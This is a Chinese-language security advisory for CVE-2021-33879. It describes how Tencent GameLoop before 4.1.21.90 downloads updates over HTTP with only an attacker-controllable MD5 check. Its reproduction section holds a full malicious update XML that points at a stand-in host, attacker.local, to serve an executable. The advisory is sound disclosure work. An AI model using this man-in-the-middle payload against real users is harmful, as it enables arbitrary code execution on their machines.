CVEID: CVE-2021-33879
受影响产品及版本名称: GameLoop(所有早于 4.1.21.90 的版本)
漏洞类型: CWE-494:无完整性校验的代码下载
摘要
GameLoop 是腾讯开发的 Android 模拟器。其更新机制未加密或认证(除 MD5 哈希外,而在此漏洞中攻击者可控制该哈希),使得处于中间人位置的攻击者能够拦截并发送自己的更新包,这些包将在受害机器上执行。
描述
4.1.21.90 之前的 Tencent GameLoop 通过不安全的 HTTP 连接下载更新。处于中间人位置的恶意攻击者可篡改描述更新包的 XML 文档内容,将下载 URL 替换为指向任意 Windows 可执行文件的 URL。由于唯一的完整性检查是将下载文件的 MD5 校验和与 XML 文档中包含的校验和进行比较,因此下载的可执行文件随后会在受害者机器上执行。
复现
<?xml version="1.0" encoding="utf-8"?>
<UpdateConfig>
<GlobalConfig>
<Item name="UpdateEnable" Value="1" />
</GlobalConfig>
<UpdatePolicy>
<PolicyItem id="1" Enable="1" AutoUpdateRate="1" ManualUpdateRate="100" MatchUpdateOperation="2" Weight="4">
<Condition Method="Or">
<MatchSupplyId Type="market" MatchResult="0" Start="3.10.199.100" End="4.99.999.999" />
</Condition>
</PolicyItem>
</UpdatePolicy>
<UpdateOperation>
<OperItem id="2" inherit="0" Desc="This is a malicious update" Title="Malicious update" text="I could serve you ransomware but I'll just spawn calc">
<Item Type="market" url="http://attacker.local/calc.exe" md5="c4cb4fdf6369dd1342d2666171866ce5" version="5.10.199.100" filesize="32768" />
</OperItem>
</UpdateOperation>
</UpdateConfig>


补救措施
安装更新版本的 GameLoop。